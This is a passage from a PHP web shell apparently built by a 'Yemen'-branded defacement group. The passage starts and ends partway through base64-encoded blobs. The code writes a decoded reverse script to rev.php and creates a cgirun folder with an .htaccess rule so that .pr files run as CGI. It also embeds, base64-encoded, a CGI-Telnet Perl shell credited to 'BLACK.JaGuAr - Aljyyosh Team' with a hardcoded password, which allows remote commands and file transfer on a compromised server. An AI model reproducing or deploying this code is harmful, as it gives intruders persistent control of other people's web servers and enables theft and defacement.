0FVVE9SRUZFUkVSLCB0cnVlKTsKICBjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVElNRU9VVCwgMTApOwoKICAkaHRtbCA9IGN1cmxfZXhlYygkY3VybCk7IC8vIGV4ZWN1dGUgdGhlIGN1cmwgY29tbWFuZAogIGN1cmxfY2xvc2UoJGN1cmwpOyAvLyBjbG9zZSB0aGUgY29ubmVjdGlvbgoKICByZXR1cm4gJGh0bWw7IC8vIGFuZCBmaW5hbGx5LCByZXR1cm4gJGh0bWwKfQoKCj8+PGJvZHkgYmdjb2xvcj0iIzAwMDAwMCI+';

$file = fopen("rev.php" ,"w+");
$write = fwrite ($file ,base64_decode($reverse));
fclose($file);
yemenhead();
   echo '<iframe src="rev.php" style="height:500px; width:500px; border:0px;" name="reverse">';
   yemenfooter();
   }
   
   function yemenperl()
   {
    
    mkdir('cgirun', 0755);
    chdir('cgirun');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("khong the tao shell!");
        $metin = "AddHandler cgi-script .pr";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgico = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQ29weXJpZ2h0IGFuZCBMaWNlbmNlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXIKIwojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcKIyBhcyB0aGlzIGNvcHlyaWdodCBub3RpY2UgaXMgbGVmdCBpbnRhY3QuIElmIHlvdSBtYWtlIGNoYW5nZXMgdG8gdGhlIHNjcmlwdAojIHBsZWFzZSBkb2N1bWVudCB0aGVtIGFuZCBpbmZvcm0gbWUuIElmIHlvdSB3b3VsZCBsaWtlIGFueSBjaGFuZ2VzIHRvIGJlIG1hZGUKIyBpbiB0aGlzIHNjcmlwdCwgeW91IGNhbiBlLW1haWwgbWUuCiMKIyBBdXRob3IgOiBSb2hpdGFiIEJhdHJhCiMgRWRpdG9yIDogQkxBQ0suSmFHdUFyCiMgQXV0aG9yIGUtbWFpbDogcm9oaXRhYkByb2hpdGFiLmNvbQojIEVkaXRvciBlLW1haWw6IEJnX0Bob3RtYWlsLmNvbQojIEF1dGhvciBIb21lcGFnZTogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS8KIyBFZGlyb2UgSG9tZXBhZ2U6IGh0dHA6Ly93d3cuYWxqeXlvc2guY29tLwojIFNjcmlwdCBIb21lcGFnZTogbWFpbHRvOkJnX0Bob3RtYWlsLmNvbQojIFByb2R1Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24gRm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBzZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMuCiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJlbG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwgc2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93LgojIDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNoIGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBpbiBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBzY3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJlIGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dpbiB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIKIyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiRQYXNzd29yZCA9ICJZZU1lTiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPgo8aGVhZD4KPHRpdGxlPnIwMHRAQkxBQ0s8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzAwMDAwMCIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KPHRkIGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4KPGI+PGZvbnQgY29sb3I9IiMwMDAwODAiIHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+Cjx0ZCBiZ2NvbG9yPSIjMDAwMDgwIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+PGI+Q0dJLVRlbG5ldCBDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWUgCn4gQnkgVGhlIEJMQUNLLkphR3VBciAtIEFsanl5b3NoIFRlYW08L2I+PC9mb250PjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGJnY29sb3I9IiNjMmMyYzIiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjEiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJiZ19ASE9UTUFJTC5DT00iPkhlbHA8L2E+CjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CgkkTWVzc2FnZSA9IHEkPGZvbnQgY29sb3I9IiNGRjAwMDAiPjxmb250IGNvbG9yPSIjMDAwMDAwIj4KPC9mb250Pgo8cHJlPiAgICBfX19fX18gICBfICAgICAgICAgICAgICAgICAgICAgXyAgICAgXwogICB8ICAgX18gIFx8IHwgICAgICAgICAgICAgICAgICAgfCB8ICAvIC8KICAgfCAgfF9fKSApfCB8ICAgICAgX19fX19fICBfX19fIHwgfCAvIC8KICAgfCAgIF9fICAvfCB8ICAgIChfX19fXyAgfC8gIF9fX1wgIC8gLwo8Zm9udCBjb2xvcj0iI0U4MDAwMCI+ICAgfCAgfCAgfCAgXCB8ICAgICAgX19fXykgfCAgfCAgIHwgfFwgXAogICB8ICB8X18pICApIHwgX19fKCBfX19fICB8ICB8X19ffCB8IFwgXAogICB8X19fX19fXy98X19fX19ffF9fX19fXyB8XF9fX19fL198ICBcX1w8L2ZvbnQ+CjwvcHJlPgo8cHJlPiA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj6pIDIwMTEgLCBBbGp5eW9zaCBUZWFtPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwqT3duZWQqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+XyA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IChfKTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+QDhAODwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+e308L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPiZsdDtfX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxUaGUgQkxBQ0suSmFHdUFyLy18PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+JDsKIycKCXByaW50IDw8RU5EOwo8Y29kZT4KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPgpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+CkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0KPGNvZGU+JE1lc3NhZ2UKRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGJyPmxvZ2luOiByMDB0PGJyPgpwYXNzd29yZDo8YnI+CkxvZ2luIGluY29ycmVjdDxicj48YnI+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgpsb2dpbjogQkxBQ0suSmFHdUFyPGJyPgpwYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VGb290ZXIKewoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCSZQcmludExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3Rlcj